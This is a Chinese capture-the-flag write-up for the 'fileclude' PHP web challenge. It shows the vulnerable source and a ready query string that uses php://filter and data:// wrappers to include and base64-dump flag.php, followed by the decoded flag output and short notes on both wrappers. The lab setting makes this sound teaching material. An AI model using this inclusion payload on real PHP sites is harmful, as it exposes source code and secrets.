91,【7】 攻防世界 web fileclude

进入靶场

<?php
// 包含 flag.php 文件
include("flag.php");// 以高亮语法显示当前文件(即包含这段代码的 PHP 文件)的内容
// 方便查看当前代码结构和逻辑,常用于调试或给解题者提示代码信息
highlight_file(__FILE__);// 检查是否通过 GET 请求传递了名为 file1 和 file2 的两个参数
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{// 如果传递了这两个参数,将它们的值分别赋给变量 $file1 和 $file2$file1 = $_GET["file1"];$file2 = $_GET["file2"];// 检查 $file1 和 $file2 这两个变量的值是否不为空if(!empty($file1) && !empty($file2)){// 使用 file_get_contents 函数读取 $file2 指定文件的全部内容// 并检查读取的内容是否严格等于字符串 "hello ctf"if(file_get_contents($file2) === "hello ctf"){// 如果 $file2 文件的内容是 "hello ctf",则包含 $file1 指定的文件// 这可能会执行 $file1 文件中的代码,是利用漏洞获取 flag 的关键步骤include($file1);}}else// 如果 $file1 或 $file2 为空,输出 "NONONO" 并终止脚本执行die("NONONO");
}
?>
需要用伪协议模拟文件
容易构造
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXsyMTJmMWNiZDNiYTc2OGYyZWRlMjZkZmY2YTM4ZGZmMH0=
CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码


笔记
1,data:// 伪协议的使用
data:// 是 PHP 中的伪协议,它允许将一段数据当作一个虚拟文件来处理。其基本格式如下:
data://<mime-type>[;charset=<charset>][;base64],<data>
<mime-type>:指定数据的 MIME 类型,text/plain表示纯文本类型。charset:可选参数,用于指定字符编码。base64:可选参数,若数据经过 Base64 编码则需指定。<data>:实际的数据内容,也就是要作为虚拟文件执行的代码。
2,php://伪协议的使用
php://filter/<过滤类型>/resource=<文件路径>
相关文章:
91,【7】 攻防世界 web fileclude
进入靶场 <?php // 包含 flag.php 文件 include("flag.php");// 以高亮语法显示当前文件(即包含这段代码的 PHP 文件)的内容 // 方便查看当前代码结构和逻辑,常用于调试或给解题者提示代码信息 highlight_file(__FILE__);// 检…...
41【文件名的编码规则】
我们在学习的过程中,写出数据或读取数据时需要考虑编码类型 火山采用:UTF-16 易语言采用:GBK php采用:UTF-8 那么我们写出的文件名应该是何种编码的?比如火山程序向本地写出一个“测试.txt”,理论上这个“测…...
蓝桥杯备赛经验帖
蓝桥杯备赛经验帖 作者:blue 时间:2025.2.1 文章目录 蓝桥杯备赛经验帖1.为什么有这篇文章2.赛制3.比赛流程4.如何准备5.其他建议6.一些感悟 1.为什么有这篇文章 笔者近期发现,观看我写的两道第十五届蓝桥杯题解的人数逐渐增多…...
一文大白话讲清楚webpack基本使用——17——Tree Shaking
文章目录 一文大白话讲清楚webpack基本使用——17——Tree Shaking1. 建议按文章顺序从头看,一看到底,豁然开朗2. 啥叫Tree Shaking3. 什么是死代码,怎么来的3. Tree Shaking的流程3.1 标记3.2 利用Terser摇起来 4. 具体使用方式4.1 适用前提…...
【C++ 区间位运算】3209. 子数组按位与值为 K 的数目|2050
本文涉及知识点 位运算、状态压缩、枚举子集汇总 LeetCode3209. 子数组按位与值为 K 的数目 给你一个整数数组 nums 和一个整数 k ,请你返回 nums 中有多少个子数组 满足:子数组中所有元素按位 AND 的结果为 k 。 示例 1: 输入:…...
8 比例缩放(scale.rs)
scale.rs代码是几何变换库euclid中典型的数据结构和方法的例子,用于处理二维和三维空间中的缩放变换。 一、scale.rs文件源码 //! A type-checked scaling factor between units.use crate::num::One;use crate::approxord::{max, min}; use crate::{Box2D, Box3D…...
二分 机器人的跳跃问题
二段性:找到一个值,大于此值的时候都成立,小于的时候都不成立 更新的方式只有两种,左边的mid更新不需要1;右边的mid更新需要1 //对能量进行二分,确定能量的范围 //特判防止溢出int #include<bits/stdc.h> using…...
Hive:复杂数据类型之Map函数
Map函数 是Hive里面的一种复杂数据类型, 用于存储键值对集合。Map中的键和值可以是基础类型或复合类型,这使得Map在处理需要关联存储信息的数据时非常有用。 定义map时,需声明2个属性: key 和 value , map中是 key value 组成一个元素 key-value, key必须为原始类…...
R 字符串:深入理解与高效应用
R 字符串:深入理解与高效应用 引言 在R语言中,字符串是数据处理和编程中不可或缺的一部分。无论是数据清洗、数据转换还是数据分析,字符串的处理都是基础技能。本文将深入探讨R语言中的字符串概念,包括其基本操作、常见函数以及高效应用方法。 字符串基本概念 字符串定…...
设计模式Python版 桥接模式
文章目录 前言一、桥接模式二、桥接模式示例三、桥接模式与适配器模式的联用 前言 GOF设计模式分三大类: 创建型模式:关注对象的创建过程,包括单例模式、简单工厂模式、工厂方法模式、抽象工厂模式、原型模式和建造者模式。结构型模式&…...
记5(一元逻辑回归+线性分类器+多元逻辑回归
目录 1、一元逻辑回归2、线性可分&线性不可分3、Iris数据集实现多元逻辑回归4、绘制分类图5、鸢尾花分类图6、多分类问题:(softmax回归)6.1、编码:自然顺序码、独热编码、独冷编码6.2、二/多分类问题:6.3、softmax…...
【Python】第七弹---Python基础进阶:深入字典操作与文件处理技巧
✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【MySQL】【Python】 目录 1、字典 1.1、字典是什么 1.2、创建字典 1.3、查找 key 1.4、新增/修改元素 1.5、删除元素 1.6、遍历…...
Nginx 运维开发高频面试题详解
一、基础核心问题 原文链接:https://blog.csdn.net/weixin_51146329/article/details/142963853 1、什么是Nginx? Nginx 是一个高性能的 HTTP 和反向代理服务器,它以轻量级和高并发处理能力而闻名。Nginx 的反向代理功能允许它作为前端服务…...
下载OpenJDK
由于Oracle需要付费,并且之前我在寻找openJDK的时候,我不知道网址,并且也不知道在这个openjdk这个网址里点击哪个模块进行下载。最近我在看虚拟机相关的书籍的时候,找到了相关的网址。 注意:下面的下载都是基于可以科…...
Web3.js详解
Web1&Web2&Web3 以下是Web1、Web2和Web3的详细介绍,以及一个对比表格: Web1 定义:Web1指的是有着固定内容的非许可的开源网络。特点:在Web1时代,网站内容主要由网站管理员或创建者提供,用户只能…...
学习串行通信
本文来源: [8-1] 串口通信_哔哩哔哩_bilibili 智谱清言 ------------ 串口(Serial Port): 串口是一种应用非常广泛的通讯接口,串口成本低,容易使用,通信线路简单,可实现两个设…...
【leetcode强化练习·二叉树】同时运用两种思维解题
本文参考labuladong算法笔记[【强化练习】同时运用两种思维解题 | labuladong 的算法笔记] 有的题目可以同时用「遍历」和「分解问题」两种思路来解,你可以利用这些题目训练自己的思维。 559. N 叉树的最大深度 | 力扣 | LeetCode | 给定一个 N 叉树,…...
Rank-analysis-1.2——一款基于LCU API的排位分析工具,大四学生独立开发
LOL Rank Record Analysis:一款基于LCU API的排位分析工具,大四学生独立开发! 大家好!我是河南科技学院的大四学生,今天给大家分享一个我自己开发的软件——LOL Rank Record Analysis。这是一个基于 Riot 提供的 LCU …...
什么是门控循环单元?
一、概念 门控循环单元(Gated Recurrent Unit,GRU)是一种改进的循环神经网络(RNN),由Cho等人在2014年提出。GRU是LSTM的简化版本,通过减少门的数量和简化结构,保留了LSTM的长时间依赖…...
Google Chrome-便携增强版[解压即用]
Google Chrome-便携增强版 链接:https://pan.xunlei.com/s/VOI0OyrhUx3biEbFgJyLl-Z8A1?pwdf5qa# a 特点描述 √ 无升级、便携式、绿色免安装,即可以覆盖更新又能解压使用! √ 此增强版,支持右键解压使用 √ 加入Chrome增强…...
Whistle Mock实战:精准模拟流式JSON接口的响应头与数据体
1. 为什么我们需要精准模拟流式JSON接口 在前后端分离的开发模式下,前端工程师经常需要模拟后端接口进行开发调试。特别是遇到流式JSON数据这种特殊场景时,简单的数据Mock往往无法满足需求。我遇到过不少这样的情况:明明数据内容完全正确&…...
从混乱到有序:大数据规范性分析的转型之路
从混乱到有序:大数据规范性分析的转型之路 关键词:大数据分析、数据治理、规范性分析、数据质量、ETL流程、数据仓库、数据可视化 摘要:本文深入探讨了大数据分析从混乱无序状态向规范性分析转型的关键路径。文章首先分析了大数据环境下面临的典型数据质量问题,然后系统性地…...
降AI率工具哪个好用知网维普万方分开对比
很多同学只关心"知网通没通过",但2026年越来越多学校开始同时要求知网和维普双重检测,部分学校还加了万方。 问题在于:一款工具在知网效果好,不代表在维普和万方也同样好。这是因为三个平台的AIGC检测算法不同。 这篇…...
交付前批量人脸脱敏自动模糊的一点记录
客户给了一批线下沙龙现场图,两百三十张上下,要用于对外案例页,合同里写了人脸需做不可辨认处理。手工框选不现实,我这次用【批量图片面部识别自动模糊工具】走完整交付链,只记和排期、验收相关的点。输入支持拖文件夹…...
Janus-Pro-7B教育评估:学生作业图片批改+个性化反馈文字生成
Janus-Pro-7B教育评估:学生作业图片批改个性化反馈文字生成 1. 引言:当AI老师遇上学生作业 想象一下这个场景:一位老师面对堆积如山的作业本,需要逐一批改、写评语、分析错误,这往往需要耗费数小时甚至更长时间。现在…...
别再让广播闪退!Android 14广播安全新规RECEIVER_EXPORTED的保姆级避坑指南
Android 14广播安全新规:RECEIVER_EXPORTED的深度解析与实战指南 去年秋天,当Google正式发布Android 14时,许多开发者发现原本运行良好的广播注册代码突然开始抛出SecurityException。这个看似简单的API变更背后,其实是Android团队…...
Cesium性能优化:你可能不知道的onTick事件监听器内存泄漏问题
Cesium性能优化:你可能不知道的onTick事件监听器内存泄漏问题 在构建长时间运行的WebGIS应用时,Cesium的流畅渲染往往被视为首要目标。但许多开发者忽略了一个隐形杀手——未被正确清理的onTick事件监听器。这些看似无害的代码片段,会在用户毫…...
苹果为 iOS 18 发布安全补丁,应对 DarkSword 漏洞威胁
苹果为 iOS 18 发布安全补丁,抵御 DarkSword 攻击苹果为仍运行 iOS 18 的 iPhone 发布了安全补丁,旨在保护这些设备免受危险的 DarkSword 漏洞攻击。据谷歌以及安全公司 iVerify 和 Lookout 报告,DarkSword 是一种极其恶劣的间谍软件漏洞&…...
HS2-HF_Patch深度解析:游戏模组生态系统的技术架构与实现原理
HS2-HF_Patch深度解析:游戏模组生态系统的技术架构与实现原理 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch HS2-HF_Patch作为Honey Select 2游戏的…...
ROS 2 手眼标定完整方案
我给你整理ROS 2 中最稳定、最常用、工业级可用的手眼眼标定包,包含安装、使用、命令、区别,直接照着用就行。 一、ROS 2 首选手眼标定包:easy_handeye2 github 地址:https://github.com/IFL-CAMP/easy_handeye2 这是 easy_hand…...

